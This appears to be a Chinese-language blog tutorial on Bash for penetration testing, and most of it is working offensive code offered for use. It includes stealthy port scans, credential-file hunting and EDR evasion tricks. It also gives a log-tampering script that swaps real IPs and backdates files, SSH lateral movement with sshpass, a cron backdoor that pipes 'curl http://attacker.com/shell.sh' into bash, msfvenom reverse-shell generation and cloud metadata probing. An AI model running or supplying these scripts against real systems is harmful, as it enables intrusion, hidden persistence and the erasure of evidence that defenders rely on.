1. Shell脚本在安全测试中的独特价值
作为一名在信息安全领域摸爬滚打多年的老兵,我始终认为Shell脚本是渗透测试工程师的"瑞士军刀"。不同于那些花哨的图形化工具,一个精心编写的bash脚本往往能在关键时刻发挥奇效。记得去年某次红队行动中,我们就是靠17行shell代码突破了目标的内网隔离,这种实战价值是其他工具难以替代的。
Shell脚本在渗透测试中的优势主要体现在三个方面:首先是环境兼容性,从古老的Solaris到最新的Kali Linux,几乎任何类Unix系统都原生支持;其次是执行效率,绕过各种安全检测机制时,一个简单的/bin/sh进程往往比编译型程序更隐蔽;最重要的是灵活性,可以快速组合各种系统命令和安全工具,实现定制化的攻击链。
2. 基础武器库构建
2.1 常用命令组合技
在信息收集阶段,这几个命令组合是我的"起手式":
bash复制# 快速扫描存活主机
for i in {1..254}; do ping -c 1 192.168.1.$i | grep "bytes from" & done
# 批量获取HTTP服务头信息
while read ip; do curl -I "http://$ip" -m 3 2>/dev/null; done < iplist.txt
特别提醒:-m参数设置超时很重要,实战中经常会遇到无响应的IP,不加超时会导致脚本卡死。建议配合timeout命令使用更稳妥。
2.2 敏感文件探测模板
这个递归搜索脚本帮我找到过无数个配置文件泄露:
bash复制#!/bin/bash
target=$1
extensions=("conf" "bak" "sql" "env" "pem")
find /var/www/html -type f \( $(printf -- '-name "*.%s" -o ' "${extensions[@]}" | sed 's/-o $//') \) -exec grep -l "password" {} +
使用时要注意:
- 先
chmod +x赋予执行权限 - 避免在根目录直接运行,可能触发监控告警
-exec参数里的+比\;效率高10倍以上
3. 实战进阶技巧
3.1 隐蔽式端口扫描
传统nmap扫描太容易被发现,这个伪装成正常流量的方案更隐蔽:
bash复制#!/bin/bash
ports=(21 22 80 443 3306)
timeout=1
for port in ${ports[@]}; do
(echo > /dev/tcp/$1/$port) >/dev/null 2>&1 && echo "$port open" || echo "$port closed"
sleep $((RANDOM % 3 + 1))
done
关键点在于:
- 使用bash内置的TCP重定向,不依赖外部工具
- 随机sleep模拟人工操作节奏
- 输出结果建议重定向到文件而非直接显示
3.2 自动化漏洞利用框架
这是我改造的简易漏洞利用框架结构:
code复制exploit_framework/
├── modules/
│ ├── cve-2017-0144.sh
│ └── struts2_rce.sh
├── lib/
│ └── utils.sh
└── main.sh
其中main.sh的核心调度逻辑:
bash复制source ./lib/utils.sh
case $1 in
"scan")
load_module "modules/$2.sh"
run_scan $3
;;
"exploit")
verify_dependencies "nc msfvenom"
execute_exploit $2 $3
;;
esac
开发这类框架时要注意:
- 模块之间保持独立,通过函数名约定交互
- 必须包含依赖检查环节
- 日志记录功能必不可少
4. 防御对抗策略
4.1 反检测技术
在对抗EDR系统时,这些技巧很实用:
- 使用
${PATH//\/sbin\//}过滤监控路径 - 通过
exec -a fake_processname real_command伪装进程名 - 关键操作前检查
/proc/self/status中的TracerPid
4.2 日志清理方案
这个多级日志清理脚本曾帮我全身而退:
bash复制clean_logs() {
targets=("/var/log/auth.log" "/var/log/secure")
for log in ${targets[@]}; do
[ -f "$log" ] && {
# 替换真实IP为随机IP
sed -i "s/$real_ip/$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256)).$((RANDOM%256))/g" "$log"
# 删除包含特征字符串的行
sed -i "/$keyword/d" "$log"
}
done
# 最后修改时间戳
touch -d "1 hour ago" /var/log/*
}
重要提醒:
- 操作前务必确认日志轮转策略
- 某些系统会监控日志文件inode变化
- 现代SIEM系统可能有内存缓存,需要额外处理
5. 效率提升实践
5.1 自动化报告生成
这个将扫描结果转HTML的脚本节省了我大量时间:
bash复制generate_report() {
echo "<html><body><h1>Scan Report</h1><table border=1>"
while read line; do
IFS=',' read -ra cols <<< "$line"
echo "<tr>"
for col in "${cols[@]}"; do
echo "<td>$col</td>"
done
echo "</tr>"
done < scan_results.csv
echo "</table></body></html>"
}
进阶技巧:
- 使用
wkhtmltopdf转PDF更专业 - 集成Markdown转换支持
- 添加时间戳和版本水印
5.2 智能补全配置
在~/.bashrc中添加这些配置大幅提升效率:
bash复制# 历史命令智能搜索
bind '"\e[A": history-search-backward'
bind '"\e[B": history-search-forward'
# 参数补全增强
complete -W "$(echo `cat ~/.ssh/config | grep ^Host | awk '{print $2}'`)" ssh
complete -W "$(ps -eo cmd | sort -u)" kill
6. 安全开发规范
6.1 代码安全准则
编写攻击脚本也要注意自身安全:
- 所有文件操作使用
--终止选项解析 - 变量引用必须加双引号:
"$var" - 使用
[[ ]]代替[ ]避免空变量问题 - 敏感操作前检查
$UID和$EUID
6.2 调试与优化
这些调试技巧能节省大量时间:
bash复制# 在关键代码段前后加入计时
start=$(date +%s.%N)
# 待测代码
end=$(date +%s.%N)
runtime=$(echo "$end - $start" | bc)
echo "耗时: $runtime 秒"
# 使用trap调试信号
trap 'echo "变量值: $var 于 $(date)" >> debug.log' DEBUG
7. 典型应用场景
7.1 内网横向移动
这个通过SSH批量执行命令的模板非常实用:
bash复制#!/bin/bash
read -sp "SSH密码: " pass
echo
for ip in $(seq 100 120); do
sshpass -p "$pass" ssh -o StrictHostKeyChecking=no user@192.168.1.$ip \
"uname -a; id" >> results.txt &
done
wait
echo "所有主机检查完成"
注意事项:
- 使用
sshpass前先测试目标是否允许密码登录 StrictHostKeyChecking=no会降低安全性,仅测试环境使用- 后台执行记得用
wait等待所有进程
7.2 权限维持技术
这个隐藏后门脚本利用了cron的灵活性:
bash复制#!/bin/bash
# 在合法任务中植入恶意代码
echo '*/10 * * * * root /usr/bin/curl http://attacker.com/shell.sh | bash -s' \
>> /etc/crontab
# 修改文件时间戳和权限
touch -r /etc/crontab.bak /etc/crontab
chmod 644 /etc/crontab
防御建议:
- 监控
/etc/crontab的inode变化 - 定期校验cron任务哈希值
- 使用
auditd监控关键文件修改
8. 工具链集成方案
8.1 Metasploit集成
这个自动生成反向shell的脚本很高效:
bash复制generate_payload() {
lhost=$1
lport=$2
os_type=$3
case $os_type in
"windows")
msfvenom -p windows/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f exe > payload.exe
;;
"linux")
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=$lhost LPORT=$lport -f elf > payload.bin
;;
esac
echo "use exploit/multi/handler" > handler.rc
echo "set PAYLOAD ${os_type}/meterpreter/reverse_tcp" >> handler.rc
echo "set LHOST $lhost" >> handler.rc
echo "set LPORT $lport" >> handler.rc
echo "exploit -j" >> handler.rc
}
使用技巧:
- 先检查
msfvenom版本兼容性 - 不同系统架构需要指定不同的
-p参数 - 生成rc文件便于快速启动监听
8.2 Nmap结果解析
这个XML解析脚本可以提取关键信息:
bash复制parse_nmap() {
xmlfile=$1
xsltproc -o results.csv <<EOF
<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:for-each select="//host/ports/port[state/@state='open']">
<xsl:value-of select="../../address/@addr"/>,
<xsl:value-of select="@portid"/>,
<xsl:value-of select="service/@name"/>
<xsl:text> </xsl:text>
</xsl:for-each>
</xsl:template>
</xsl:stylesheet>
EOF $xmlfile
}
9. 现代对抗技术
9.1 容器逃逸检测
这个脚本可以检查常见的Docker逃逸漏洞:
bash复制check_docker_escape() {
# 检查特权模式
grep -qi "docker" /proc/self/cgroup || return
# 检查危险挂载
mount | grep -q "docker.sock" && echo "危险:Docker socket挂载"
# 检查SYS_ADMIN能力
capsh --print | grep -q "sys_admin" && echo "危险:具备SYS_ADMIN能力"
# 检查设备cgroup访问
[ -w /dev/mem ] && echo "危险:可访问内存设备"
}
9.2 云环境侦察
AWS元数据检查脚本:
bash复制check_aws_metadata() {
curl -s http://169.254.169.254/latest/meta-data/ > meta.txt
while read entry; do
echo "发现元数据: $entry"
curl -s "http://169.254.169.254/latest/meta-data/$entry" | head -n 5
done < meta.txt
}
关键改进点:
- 添加超时和重试机制
- 过滤敏感信息显示
- 支持其他云服务商元数据端点
10. 持续学习建议
保持shell脚本攻防技术更新的几个方法:
- 定期查看
/proc/[pid]/cmdline获取新型攻击手法 - 研究开源安全工具的shell脚本部分(如LinPEAS)
- 练习将Python/PowerShell攻击技术转化为纯Shell实现
- 关注Github上的redteam-shell项目更新
最后分享一个真实案例:在某次渗透中,目标系统限制了所有常见工具的使用,但通过组合/proc/self/fd操作和shell内置命令,我们最终成功获取了root权限。这再次证明,深入掌握Shell脚本技术,往往能在山穷水尽时找到突破口。